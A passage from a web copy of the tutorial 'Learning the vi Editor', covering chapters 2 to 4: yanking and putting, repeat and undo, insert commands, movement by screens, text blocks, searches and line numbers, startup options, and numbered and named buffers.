scroll the page.
move the cursor.
delete lines.
You want to make three complete sentences, beginning each with With a screen editor you can. Instead of moving through the file, making this edit over and over, you can use a yank and put to copy the text to be added.
Keystrokes Results
yy
With a screen editor you can
scroll the page.
move the cursor.
delete lines.

Yank the line of text that you want to copy into the buffer. The cursor can be anywhere on the line you want to yank (or on the beginning line of a series of lines).

2j
With a screen editor you can
scroll the page.
move the cursor.
delete lines.

Move the cursor to where you want to put the yanked text.

P
With a screen editor you can
scroll the page.
With a screen editor you can
move the cursor.
delete lines.

Put the yanked text above the cursor line with P.

jp
With a screen editor you can
scroll the page.
With a screen editor you can
move the cursor.
With a screen editor you can
delete lines.

Move the cursor down a line and put the yanked text below the cursor line with p.

Yanking uses the same buffer as deleting. Each new deletion or yank replaces the previous contents of the yank buffer. As we'll see in Chapter 4, Beyond the Basics, up to nine previous yanks or deletions can be recalled with put commands. You can also yank or delete directly into up to 26 named buffers, which allows you to juggle multiple text blocks at once.

2.3.8 Repeating or Undoing Your Last Command

Each edit command that you give is stored in a temporary buffer until you give the next command. If you insert the after a word in your file, the command used to insert the text, along with the text that you entered, is temporarily saved.

2.3.8.1 Repeat

[.] Any time you make the same editing command over and over, you can save time by duplicating it with the repeat command, the period (.). Position the cursor where you want to repeat the editing command, and type a period.

Suppose you have the following lines in your file practice:
With a screen editor you can
scroll the page.
With a screen editor you can
move the cursor.
You can delete one line, and then, to delete another line, simply type a period.
Keystrokes Results
dd
With a screen editor you can
scroll the page.
move the cursor.

Delete a line with the command dd.

.
With a screen editor you can
scroll the page.

Repeats the deletion.

Occasionally, vi has problems repeating a command. For example, it may have difficulty repeating a long insertion when wrapmargin is set. This is a bug in vi that will probably bite you sooner or later. There's not a lot you can do about it after the fact, but it helps to be forewarned. There are two ways you can guard against a potential problem when repeating long insertions. You can write your file (:w) before repeating the insertion (returning to this copy if the insertion doesn't work correctly). You can also turn off wrapmargin like this:

:set wm=0

In Chapter 7, Advanced Editing, we'll show you an easy way to use the wrapmargin solution, in the section "More Examples of Mapping Keys." In some versions of vi, the command [CTRL-@] repeats the most recent insertion. [CTRL-@] is typed in insert mode and returns you to command mode.

2.3.8.2 Undo

[u] As mentioned earlier, you can undo your last command if you make an error. Simply press u. The cursor need not be on the line where the original edit was made.

To continue the example above, showing deletion of lines in the file practice:

Keystrokes Results
u
With a screen editor you can
scroll the page.
move the cursor.

u undoes the last command and restores the deleted line.

U, the uppercase version of u, undoes all edits on a single line, as long as the cursor remains on that line. Once you move off a line, you can no longer use U.

Note that you can undo your last undo with u, toggling between two versions of text. u will also undo U, and U will undo any changes to a line, including those made with u. (A tip: the fact that u can undo itself leads to a nifty way to get around in a file. If you ever want to get back to the site of your last edit, simply undo it. You will pop back to the appropriate line. When you undo the undo, you'll stay on that line.)

Previous: 2.2 Moving the Cursor | Learning the vi Editor | Next: 2.4 More Ways to Insert Text
2.2 Moving the Cursor | Book Index | 2.4 More Ways to Insert Text
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 2] 2.4 More Ways to Insert Text

Learning the vi Editor

Learning the vi EditorSearch this book
Previous: 2.3 Simple Edits Chapter 2
Simple Editing 		Next: 2.5 Joining Two Lines with J

2.4 More Ways to Insert Text

You have inserted text before the cursor with the sequence:

itext to be inserted[ESC]

You've also inserted text after the cursor with the a command. There are other insert commands for inserting text at different positions relative to the cursor:
A | Append text to end of current line.
I | Insert text at beginning of line.
o | Open blank line below cursor for text.
O | Open blank line above cursor for text.
s | Delete character at cursor and substitute text.
S | Delete line and substitute text.
R | Overstrike existing characters with new characters.
All of these commands leave you in insert mode. After inserting text, remember to press [ESC] to escape back to command mode.

A (append) and I (insert) save you from having to move your cursor to the end or beginning of the line before invoking insert mode. (The A command saves one keystroke over $a. Although one keystroke might not seem like much of a saving, the more adept (and impatient) an editor you become, the more keystrokes you will want to omit.)

o and O (open) save you from having to insert a carriage return. You can type these commands from anywhere within the line.

s and S (substitute) allow you to delete a character or a whole line and replace the deletion with any amount of new text. s is the equivalent of the two-stroke command c [SPACE] and S is the same as cc. One of the best uses for s is to change one character to several characters.

R ("large" replace) is useful when you want to start changing text, but you don't know exactly how much. For example, instead of guessing whether to say 3cw or 4cw, just type R and then enter your replacement text.

2.4.1 Numeric Arguments for Insert Commands

Except for o and O, the above insert commands (plus i and a) take numeric prefixes. With numeric prefixes, you might use the commands i, I, a, and A to insert a row of underlines or alternating characters. For example, typing 50i*[ESC] inserts 50 asterisks, and typing 25a*- [ESC] appends 50 characters (25 pairs of asterisk and hyphen). It's better to repeat only a small string of characters. vi has difficulty repeating the insertion of more than one line's worth of text.

You can use a numeric prefix with S to substitute several lines. It's quicker and more flexible, though, to use c with a movement command.

A good case for using the s command with a numeric prefix is when you want to change a few characters in the middle of a word. Typing r wouldn't be enough, but typing cw would change too much text. Using s with a numeric prefix is usually the same as typing R.

There are other combinations of commands that work naturally together. For example, ea is useful for appending new text to the end of a word. It helps to train yourself to recognize such frequent combinations so that they become automatic.

Previous: 2.3 Simple Edits | Learning the vi Editor | Next: 2.5 Joining Two Lines with J
2.3 Simple Edits | Book Index | 2.5 Joining Two Lines with J
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 2] 2.5 Joining Two Lines with J

Learning the vi Editor

Learning the vi EditorSearch this book
Previous: 2.4 More Ways to Insert Text Chapter 2
Simple Editing 		Next: 2.6 Review of Basic vi Commands

2.5 Joining Two Lines with J

[J] Sometimes while editing a file you will end up with a series of short lines that are difficult to scan. When you want to merge two lines into one, position the cursor anywhere on the first line, and press J to join the two lines.

Suppose your file practice reads:
With a
screen editor
you can
scroll the page, move the cursor
Keystrokes Results
J
With a screen editor
you can
scroll the page, move the cursor

J joins the line the cursor is on with the line below.

.
With a screen editor you can
scroll the page, move the cursor

Repeat the last command (J) with the . to join the next line with the current line.

Using a numeric argument with J joins that number of consecutive lines. In the example above, you could have joined three lines by using the command 3J.

2.5.1 Problem Checklist

  • When you type commands, text jumps around on the screen and nothing works the way it's supposed to.

    Make sure you're not typing the J command when you mean j. You may have hit the [CAPS LOCK] key without noticing it. vi is case-sensitive. That is, uppercase commands (I, A, J, etc.) are different from lowercase commands (i, a, j), so all your commands are being interpreted not as lowercase but as uppercase commands. Press the [CAPS LOCK] key again to return to lowercase, then type either U to restore the last line changed or u to undo the last command. You'll probably also have to do some additional editing to fully restore the garbled part of your file.

Previous: 2.4 More Ways to Insert Text | Learning the vi Editor | Next: 2.6 Review of Basic vi Commands
2.4 More Ways to Insert Text | Book Index | 2.6 Review of Basic vi Commands
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 2] 2.6 Review of Basic vi Commands

Learning the vi Editor

Learning the vi EditorSearch this book
Previous: 2.5 Joining Two Lines with J Chapter 2
Simple Editing 		Next: 3. Moving Around in a Hurry

2.6 Review of Basic vi Commands

Table 2.1 presents a few of the commands you can perform by combining the commands c, d, and y with various text objects. The last two rows show additional commands for editing. Table 2.2 and Table 2.3 lists some other basic commands.

Table 2.1: Edit Commands
Text Object | Change | Delete | Copy
1 word | cw | dw | yw
2 words, not counting punctuation | 2cW or c2W | 2dW or d2W | 2yW or y2W
3 words back | 3cb or c3b | 3db or d3b | 3yb or y3b
1 line | cc | dd | yy or Y
to end of line | c$ or C | d$ or D | y$
to beginning of line | c0 | d0 | y0
single character | r | x or X | yl or yh
five characters | 5s | 5x | 5yl
Table 2.2: Movement
Movement | Commands
<- , -v , [image] , -> | h, j, k, l
forward by word | w or W
backward by word | b or B
to end of line | $
to beginning of line | 0
Table 2.3: Other Operations
Operations | Commands
place text from buffer | P or p
start vi, open file if specified | vi file
save edits, quit file | ZZ
no saving of edits, quit file | :q!

You can get by in vi using only the commands listed in Table 2.1, Table 2.2, and Table 2.3. However, in order to harness the real power of vi (and increase your own productivity), you will need more tools. The following chapters describe those tools.

Previous: 2.5 Joining Two Lines with J | Learning the vi Editor | Next: 3. Moving Around in a Hurry
2.5 Joining Two Lines with J | Book Index | 3. Moving Around in a Hurry
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 3] Moving Around in a Hurry

Learning the vi Editor

Learning the vi EditorSearch this book
Previous: 2.6 Review of Basic vi Commands Chapter 3 Next: 3.2 Movement by Text Blocks

3. Moving Around in a Hurry

Contents:
Movement by Screens
Movement by Text Blocks
Movement by Searches
Movement by Line Number

You will not use vi only to create new files. You'll spend a lot of your time in vi editing existing files. You rarely want to simply open to the first line in the file and move through it line by line. You want to get to a specific place in a file and start work.

All edits begin by moving the cursor to where you want to begin the edit (or, with ex line editor commands, by identifying the line numbers to be edited). This chapter shows you how to think about movement in a variety of ways (by screens, by text, by patterns, or by line numbers). There are many ways to move in vi, since editing speed depends on getting to your destination with only a few keystrokes.

This chapter covers:

  • Movement by screens.

  • Movement by text blocks.

  • Movement by searches for patterns.

  • Movement by line number.

3.1 Movement by Screens

When you read a book, you think of "places" in the book by page: the page where you stopped reading or the page number in an index. You don't have this convenience when you're editing files. Some vi files take up only a few lines, and you can see the whole file at once. But many files have hundreds of lines.

You can think of a vi file as text on a long roll of paper. The screen is a window of (usually) 24 lines of text on that long roll.

In insert mode, as you fill up the screen with text, you will end up typing on the bottom line of the screen. When you reach the end and press [RETURN], the top line rolls out of sight, and a blank line appears on the bottom of the screen for new text. This is called scrolling.

In command mode, you can move through a file to see any text in it by scrolling the screen ahead or back. And, since cursor movements can be multiplied by numeric prefixes, you can move quickly to anywhere in your file.

3.1.1 Scrolling the Screen

[CTRL] [F] There are vi commands to scroll forward and backward through the file by full and half screens:

^F | Scroll forward one screen.
^B | Scroll backward one screen.
^D | Scroll forward half screen (down).
^U | Scroll backward half screen (up).

(In the list of commands above, the ^ symbol represents the [CTRL] key. ^F means to hold down the [CTRL] key and press the f key simultaneously.)

There are also commands to scroll the screen up one line (^E) and down one line (^Y). However, these two commands do not send the cursor to the beginning of the line. The cursor remains at the same point in the line as when the command was issued.

3.1.2 Repositioning the Screen with z

[z] If you want to scroll the screen up or down, but you want the cursor to remain on the line where you left it, use the z command.
z[RETURN] | Move current line to top of screen and scroll.
z. | Move current line to center of screen and scroll.
z- | Move current line to bottom of screen and scroll.
With the z command, using a numeric prefix as a multiplier makes no sense. (After all, you would need to reposition the cursor to the top of the screen only once. Repeating the same z command wouldn't move anything.) Instead, z understands a numeric prefix as a line number that it will use in place of the current line. For example, z [RETURN] moves the current line to the top of the screen, but 200z [RETURN] moves line 200 to the top of the screen.

3.1.3 Redrawing the Screen

Sometimes while you're editing, messages from your computer system will display on your screen. These messages don't become part of your editing buffer, but they do interfere with your work. When system messages appear on your screen, you need to redisplay, or redraw, the screen.

Whenever you scroll, you redraw part of (or all of) the screen, so you can always get rid of unwanted messages by scrolling them off the screen and then returning to your previous position. But you can also redraw the screen without scrolling, by typing [CTRL-L] or [CTRL-R]. [CTRL-R] is useful when you're editing on a dumb terminal or at a slow baud rate (such as when working via a modem).

3.1.4 Movement Within a Screen

[H] You can also keep your current screen, or view of the file, and move around within the screen using:

H

Move to home - top line on screen.

M

Move to middle line on screen.

L

Move to last line on screen.

n H

Move to n lines below top line.

n L

Move to n lines above last line.

H moves the cursor from anywhere on the screen to the first, or "home," line. M moves to the middle line, L to the last. To move to the line below the first line, use 2H.
Keystrokes Results
L
With a screen editor you can
scroll the page, move the cursor,
delete lines, insert characters, and more,
while seeing the results of your
edits as you make them.
Screen editors are very popular,
since they allow you to make changes
as you read through a file.

Move to the last line of the screen with the L command.

2H
With a screen editor you can
scroll the page, move the cursor,
delete lines, insert characters, and more,
while seeing the results of your
edits as you make them.
Screen editors are very popular,
since they allow you to make changes
as you read through a file.

Move to the second line of the screen with the 2H command. (H alone moves to the top line of the screen.)

3.1.5 Movement by Line

[RETURN] Within the current screen there are also commands to move by line. You've already seen j and k. You can also use:

[RETURN]

Move to first character of next line.

+

Move to first character of next line.

-

Move to first character of previous line.

The above three commands move down or up to the first character of the line, ignoring any spaces or tabs. j and k, by contrast, move the cursor down or up to the first position of a line, even if that position is blank (and assuming that the cursor started at the first position).

3.1.5.1 Movement on the Current Line

Don't forget that h and l move the cursor to the left and right and that 0 and $ move the cursor to the beginning or end of the line. You can also use:

^

Move to first nonblank character of current line.

n|

Move to column n of current line.

As with the line movement commands above, ^ moves to the first character of the line, ignoring any spaces or tabs. 0, by contrast, moves to the first position of the line, even if that position is blank.

Previous: 2.6 Review of Basic vi Commands | Learning the vi Editor | Next: 3.2 Movement by Text Blocks
2.6 Review of Basic vi Commands | Book Index | 3.2 Movement by Text Blocks
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 3] 3.2 Movement by Text Blocks

Learning the vi Editor

Learning the vi EditorSearch this book
Previous: 3.1 Movement by Screens Chapter 3
Moving Around in a Hurry 		Next: 3.3 Movement by Searches

3.2 Movement by Text Blocks

[e] Another way that you can think of moving through a vi file is by text blocks - words, sentences, paragraphs, or sections. You have already learned to move forward and backward by word (w, W, b or B). In addition, you can use these commands:

e

Move to end of word.

E

Move to end of word (ignore punctuation).

(

Move to beginning of current sentence.

)

Move to beginning of next sentence.

{

Move to beginning of current paragraph.

}

Move to beginning of next paragraph.

[[

Move to beginning of current section.

]]

Move to beginning of next section.

To find the end of a sentence, vi looks for one of the punctuation marks ? . !. vi locates the end of a sentence when the punctuation is followed by at least two spaces or when it appears as the last nonblank character on a line. If you have left only a single space following a period, or if the sentence ends with a quotation mark, vi won't recognize the sentence.

A paragraph is defined as text up to the next blank line, or up to one of the default paragraph macros (.IP, .PP, .LP, or .QP) from the nroff/troff ms macro package. Similarly, a section is defined as text up to the next default section macro (.NH, .SH, .H 1, .HU). The macros that are recognized as paragraph or section separators can be customized with the :set command, as described in Chapter 7, Advanced Editing .

Remember that you can combine numbers with movement. For example, 3) moves ahead three sentences. Also remember that you can edit using movement commands: d) deletes to the end of the current sentence, 2y} copies (yanks) two paragraphs ahead.

Previous: 3.1 Movement by Screens | Learning the vi Editor | Next: 3.3 Movement by Searches
3.1 Movement by Screens | Book Index | 3.3 Movement by Searches
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 3] 3.3 Movement by Searches

Learning the vi Editor

Learning the vi EditorSearch this book
Previous: 3.2 Movement by Text Blocks Chapter 3
Moving Around in a Hurry 		Next: 3.4 Movement by Line Number

3.3 Movement by Searches

[/] One of the most useful ways to move around in a large file quickly is by searching for text, or more properly, a pattern of characters. Sometimes a search can be performed to find a misspelled word or to find each occurrence of a variable in a program.

The search command is the special character / (slash). When you enter a slash, it appears on the bottom line of the screen; then type in the pattern that you want to find:

/pattern

A pattern can be a whole word or any other sequence of characters (called a "character string"). For example, if you search for the characters red, you will match "red" as a whole word, but you'll also match "occurred". If you include a space before or after pattern, the spaces will be treated as part of the word. As with all bottom-line commands, press [RETURN] to finish. (vi, like all other UNIX editors, has a special pattern-matching language that allows you to look for variable text patterns; for example, any word beginning with a capital letter, or the word The at the beginning of a line. We'll talk about this more powerful pattern-matching syntax in Chapter 6, Global Replacement . For right now, think of pattern simply as a word or phrase.)

vi begins the search at the cursor and searches forward, wrapping around to the start of the file if necessary. The cursor will move to the first occurrence of the pattern. If there is no match, the message "Pattern not found" will be shown on the status line.

Using the file practice, here's how to move the cursor by searches:

Keystrokes Results
/edits
With a screen editor you can scroll the
page, move the cursor, delete lines, insert
characters, and more, while seeing the
results of your edits as you make them.

Search for the pattern edits. Press RETURN to enter. The cursor moves directly to that pattern.

/scr
With a screen editor you can scroll the
page, move the cursor, delete lines, insert
characters, and more, while seeing the
results of your edits as you make them.

Search for the pattern scr. Press RETURN to enter. Note that there is no space after scr.

The search wraps around to the front of the file. Note that you can give any combination of characters; a search does not have to be for a complete word.

To begin a search backward, type a ? instead of a /:

?pattern

In this case, the search wraps around to the end of the file, if necessary.

3.3.1 Repeating Searches

[n] The last pattern that you searched for stays available throughout your editing session. After a search, instead of repeating your original keystrokes, you can use a command to search again for the last pattern.
n | Repeat search in same direction.
N | Repeat search in opposite direction.
/ [RETURN] | Repeat search forward.
? [RETURN] | Repeat search backward.
Since the last pattern stays available, you can search for a pattern, do some work, and then search again for the same pattern without retyping it by using n, N, / or ?. The direction of your search (/ is forward, ? is backward) is displayed at the bottom left of the screen.

To continue with the example above, since the pattern scr is still available for search, you can:
Keystrokes Results
n
With a screen editor you can scroll the
page, move the cursor, delete lines, insert
characters, and more, while seeing the
results of your edits as you make them.

Move to the next instance of the pattern scr (from screen to scroll) with the n (next) command.

?you
With a screen editor you can scroll the
page, move the cursor, delete lines, insert
characters, and more, while seeing the
results of your edits as you make them.

Search backward with ? from the cursor to the first occurrence of you. You need to press RETURN after typing the pattern.

N
With a screen editor you can scroll the
page, move the cursor, delete lines, insert
characters, and more, while seeing the
results of your edits as you make them.

Repeat previous search for you but in the opposite direction (forward).

Sometimes you want to find a word only if it is further ahead; you don't want the search to wrap around earlier in the file. vi has an option, wrapscan, that controls whether searches wrap. You can disable wrapping like this:

:set nowrapscan

When nowrapscan is set and a forward search fails, the status line displays the message:

Address search hit BOTTOM without matching pattern

When nowrapscan is set and a backward search fails, the message displays "TOP" instead of "BOTTOM".

This section has given only the barest introduction to searching for patterns. Chapter 6, Global Replacement, will teach more about pattern matching and its use in making global changes to a file.

3.3.2 Current Line Searches

[f] There are also miniature versions of the search commands that operate within the current line. The command f x moves the cursor to the next instance of the character x (where x stands for any character). The command t x moves the cursor to the character before the next instance of x. Semicolons can then be used repeatedly to "find" your way along.

The in-line search commands are summarized below. None of these commands will move the cursor to the next line.
f x | Find (move cursor to) next occurrence of x in the line, where x stands for any character.
F x | Find (move cursor to) previous occurrence of x in the line.
t x | Find (move cursor to) character before next occurrence of x in the line.
T x | Find (move cursor to) character after previous occurrence of x in the line.
; | Repeat previous find command in same direction.
, | Repeat previous find command in opposite direction.
With any of these commands, a numeric prefix n will locate the nth occurrence. Suppose you are editing in practice, on this line:
With a screen editor you can scroll the

Keystrokes Results
fo
With a screen editor you can scroll the

Find the first occurrence of o in your current line with f.

;
With a screen editor you can scroll the

Move to the next occurrence of o with the ; command (find next o).

df x deletes up to and including the named character x. This command is useful in deleting or yanking partial lines. You might need to use df x instead of dw if there were symbols or punctuation within the line that made counting words difficult. The t command works just like f, except that it positions the cursor before the character searched for. For example, the command ct. could be used to change text up to the end of a sentence, leaving the period.

Previous: 3.2 Movement by Text Blocks | Learning the vi Editor | Next: 3.4 Movement by Line Number
3.2 Movement by Text Blocks | Book Index | 3.4 Movement by Line Number
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 3] 3.4 Movement by Line Number

Learning the vi Editor

Learning the vi EditorSearch this book
Previous: 3.3 Movement by Searches Chapter 3
Moving Around in a Hurry 		Next: 4. Beyond the Basics

3.4 Movement by Line Number

A file contains sequentially numbered lines, and you can move through a file by specifying line numbers.

Line numbers are useful for identifying the beginning and end of large blocks of text you want to edit. Line numbers are also useful for programmers, since compiler error messages refer to line numbers. Line numbers are also used by ex commands, which you will learn in the next chapters.

If you are going to move by line numbers, you must have a way to identify them. Line numbers can be displayed on the screen using the :set nu option described in Chapter 7, Advanced Editing. In vi, you can also display the current line number on the bottom of the screen.

The command [CTRL-G] causes the following to be displayed at the bottom of your screen: the current line number, the total number of lines in the file, and what percentage of the total the present line number represents. For example, for the file practice, [CTRL-G] might display:

"practice" line 3 of 6 --50%--

[CTRL-G] is useful either for displaying the line number to use in a command or for orienting yourself if you have been distracted from your editing session.

3.4.1 The G (Go To) Command if

[G] You can use line numbers to move the cursor through a file. The G (go to) command uses a line number as a numeric argument and moves directly to that line. For instance, 44G moves the cursor to the beginning of line 44. G without a line number moves the cursor to the last line of the file.

Typing two backquotes (` `) returns you to your original position (the position where you issued the last G command), unless you have done some edits in the meantime. If you have made an edit, and then moved the cursor using some command other than G, ` ` will return the cursor to the site of your last edit. If you have issued a search command (/ or ?), ` ` will return the cursor to its position when you started the search. A pair of apostrophes (' ') works much like two backquotes, except that it returns the cursor to the beginning of the line instead of the exact position on that line where your cursor had been.

The total number of lines shown with [CTRL-G] can be used to give yourself a rough idea of how many lines to move. If you are on line 10 of a 1,000 line file:

"practice" line 10 of 1000 --1%--

and know that you want to begin editing near the end of that file, you could give an approximation of your destination with:

800G

Movement by line number is a tool that can move you quickly from place to place through a large file.

Previous: 3.3 Movement by Searches | Learning the vi Editor | Next: 4. Beyond the Basics
3.3 Movement by Searches | Book Index | 4. Beyond the Basics
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 4] Beyond the Basics

Learning the vi Editor

Learning the vi EditorSearch this book
Previous: 3.4 Movement by Line Number Chapter 4 Next: 4.2 Options When Starting vi

4. Beyond the Basics

Contents:
More Command Combinations
Options When Starting vi
Making Use of Buffers
Marking Your Place
Other Advanced Edits

You have already been introduced to the basic vi editing commands, i, a, c, d, and y. This chapter expands on what you already know about editing. It covers:

  • Review of general command form.

  • Additional ways to enter vi.

  • Making use of buffers that store yanks and deletions.

  • Marking your place in a file.

4.1 More Command Combinations

In Chapter 2, Simple Editing , you learned the edit commands c, d, and y, as well as how to combine them with movements and numbers (such as 2cw or 4dd). In Chapter 3, Moving Around in a Hurry , you added many more movement commands to your repertoire. Although the fact that you can combine edit commands with movement is not a new concept to you, Table 4.1 gives you a feel for the many editing options you now have.

Table 4.1: More Editing Commands
Change | Delete | Copy | from Cursor to ...
cH | dH | yH | top of screen
cL | dL | yL | bottom of screen
c+ | d+ | y+ | next line
c5| | d5| | y5| | column 5 of current line
2c) | 2d) | 2y) | second sentence following
c{ | d{ | y{ | previous paragraph
c/pattern | d/pattern | y/pattern | pattern
cn | dn | yn | next pattern
cG | dG | yG | end of file
c13G | d13G | y13G | line number 13

Notice how all of the above sequences follow the general pattern:

(number)(command)(text object)

number is the optional numeric argument. command in this case is one of c, d, or y. text object is a movement command.

The general form of a vi command is discussed in Chapter 2. You may wish to review Table 2.1 and Table 2.2 as well.

Previous: 3.4 Movement by Line Number | Learning the vi Editor | Next: 4.2 Options When Starting vi
3.4 Movement by Line Number | Book Index | 4.2 Options When Starting vi
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 4] 4.2 Options When Starting vi

Learning the vi Editor

Learning the vi EditorSearch this book
Previous: 4.1 More Command Combinations Chapter 4
Beyond the Basics 		Next: 4.3 Making Use of Buffers

4.2 Options When Starting vi

In this handbook, you have invoked the vi editor with the command:

$ vi file

There are other options to the vi command that can be helpful. You can open a file directly to a specific line number or pattern. You can also open a file in read-only mode. Another option recovers all changes to a file that you were editing when the system crashed.

4.2.1 Advancing to a Specific Place

When you begin editing an existing file, you can call the file in and then move to the first occurrence of a pattern or to a specific line number. You can also specify your first movement by search or by line number right on the command line:

$ vi +n file

Opens file at line number n.

$ vi + file

Opens file at last line.

$ vi +/pattern file

Opens file at the first occurrence of pattern.

In the file practice, to open the file and advance directly to the line containing the word Screen, enter:
Keystrokes Results
vi +/Screen practice
With a screen editor you can scroll
the page, move the cursor, delete
lines, and insert characters, while
seeing the results of your edits as
you make them.
Screen editors are
very popular, since they allow you
to make changes as you read

Give the vi command with the option +/ pattern to go directly to the line containing Screen.

As you see in the example above, your search pattern will not necessarily be positioned at the top of the screen.

If you include spaces in the pattern, you must enclose the whole pattern within single or double quotes:

+/"you make"

or escape the space with a backslash:

+/you\ make

In addition, if you want to use the general pattern-matching syntax described in Chapter 6, Global Replacement , you may need to protect one or more special characters from interpretation by the shell with either single quotes or backslashes.

Using +/pattern is helpful if you have to leave an editing session in the middle. You can mark your place by inserting a pattern such as ZZZ or HERE. Then when you return to the file, all you have to remember is /ZZZ or /HERE.

NOTE: Normally, when you're editing in vi, the wrapscan option is enabled. If you've customized your environment so that wrapscan is always disabled, you might not be able to use +/pattern. If you try to open a file this way, vi opens the file at the last line and displays the message "Address search hit BOTTOM without matching pattern."

4.2.2 Read-only Mode

There will be times when you want to look at a file but want to protect that file from inadvertent keystrokes and changes. (You might want to call in a lengthy file to practice vi movements, or you might want to scroll through a command file or program). You can enter a file in read-only mode and use all the vi movement commands, but you won't be able to change the file.

To look at a file in read-only mode, enter either:

$ vi -R file

or:

$ view file

(The view command, like the vi command, can use any of the command-line options for advancing to a specific place in the file.) If you do decide to make some edits to the file, you can override read-only mode by adding an exclamation point to the write command:

:w!

or:

:wq!

If you have a problem writing out the file, see the problem checklists summarized in Appendix D, Problem Checklist .

4.2.3 Recovering a Buffer

Occasionally there is a system failure while you are editing a file. Ordinarily, any edits made after your last write (save) are lost. However, there is an option, -r, which lets you recover the edited buffer at the time of a system crash.

When you first log on after the system is running again, you will receive a mail message stating that your buffer has been saved.

In addition, if you type the command:

$ ex -r

or:

$ vi -r

you will get a list of any files that the system has saved.

Use the -r option with a file name to recover the edited buffer. For example, to recover the edited buffer of the file practice after a system crash, enter:

$ vi -r practice

It is wise to recover the file immediately, lest you inadvertently make edits to the file, and then have to resolve a version skew between the preserved buffer and the newly edited file.

You can force the system to preserve your buffer even when there is not a crash by using the command :pre. You may find it useful if you have made edits to a file, then discover that you can't save your edits because you don't have write permission. (You could also just write a copy of the file out under another name or into a directory where you do have write permission. See the section "Problems Saving Files" in Chapter 1, The vi Text Editor.)

Previous: 4.1 More Command Combinations | Learning the vi Editor | Next: 4.3 Making Use of Buffers
4.1 More Command Combinations | Book Index | 4.3 Making Use of Buffers
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 4] 4.3 Making Use of Buffers

Learning the vi Editor

Learning the vi EditorSearch this book
Previous: 4.2 Options When Starting vi Chapter 4
Beyond the Basics 		Next: 4.4 Marking Your Place

4.3 Making Use of Buffers

You have seen that while you are editing, your last deletion (d or x) or yank (y) is saved in a buffer (a place in stored memory). You can access the contents of that buffer and put the saved text back in your file with the put command (p or P).

The last nine deletions are stored by vi in numbered buffers. You can access any of these numbered buffers to restore any (or all) of the last nine deletions. (Small deletions, of only parts of lines, are not saved in numbered buffers, however.) These deletions can only be recovered by using the p or P command immediately after you've made the deletion.

vi also allows you to place yanks (copied text) in buffers identified by letters. You can fill up to 26 (a-z) buffers with yanked text and restore that text with a put command at any time in your editing session.

4.3.1 Recovering Deletions

Being able to delete large blocks of text at a single bound is all very well and good, but what if you mistakenly delete 53 lines that you need? There is a way to recover any of your past nine deletions, for they are saved in numbered buffers. The last delete is saved in buffer 1, the second-to-last in buffer 2, and so on.

To recover a deletion, type <"> (double quote), identify the buffered text by number, then give the put command. To recover your second-to-last deletion from buffer 2, type:

"2p

The deletion in buffer 2 is placed after the cursor.

If you're not sure which buffer contains the deletion you want to restore, you don't have to keep typing "n p over and over again. If you use the repeat command (.) with p after u, it automatically increments the buffer number. As a result, you can search through the numbered buffers as follows:

"1pu.u.u etc.

to put the contents of each succeeding buffer in the file one after the other. Each time you type u, the restored text is removed; when you type a dot (.), the contents of the next buffer is restored to your file. Keep typing u and . until you've recovered the text you're looking for.

4.3.2 Yanking to Named Buffers

You have seen that you must "put" (p or P) the contents of an unnamed buffer before you make any other edit, or the buffer will be overwritten. You can also use y and d with a set of 26 named buffers (a-z) which are specifically available for copying and moving text. If you name a buffer to store the yanked text, you can place the contents of the named buffer at any time during your editing session.

To yank into a named buffer, precede the yank command with a double quote (") and the character for the name of the buffer you want to load. For example:

    "dyy	Yank current line into buffer d.
    "a7yy	Yank next seven lines into buffer a.

After loading the named buffers and moving to the new position, use p or P to put the text back:

    "dP	Put the contents of buffer d before cursor.
    "ap	Put the contents of buffer a after cursor.

There is no way to put part of a buffer into the text - it is all or nothing.

In the next chapter, you'll learn to edit multiple files. Once you know how to travel between files without leaving vi, you can use named buffers to selectively transfer text between files.

You can also delete text into named buffers using much the same procedure. For example:

    "a5dd	Delete five lines into buffer a.

If you specify a buffer name with a capital letter, your yanked or deleted text will be appended to the current contents of that buffer. This allows you to be selective in what you move or copy. For example:

"zd)

Delete from cursor to end of current sentence and save in buffer z.

2)

Move two sentences further on.

"Zy)

Add the next sentence to buffer z. Note that you can continue adding more text to a named buffer for as long as you like - but be warned: if you once forget, and yank or delete to the buffer without specifying its name in capitalized form, you'll overwrite the buffer, losing whatever you previously accumulated in it.

Previous: 4.2 Options When Starting vi | Learning the vi Editor | Next: 4.4 Marking Your Place
4.2 Options When Starting vi | Book Index | 4.4 Marking Your Place
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 4] 4.4 Marking Your Place

Learning the vi Editor

Learning the vi EditorSearch this book
Previous: 4.3 Making Use of Buffers Chapter 4
Beyond the Basics 		Next: 4.5 Other Advanced Edits

4.4 Marking Your Place

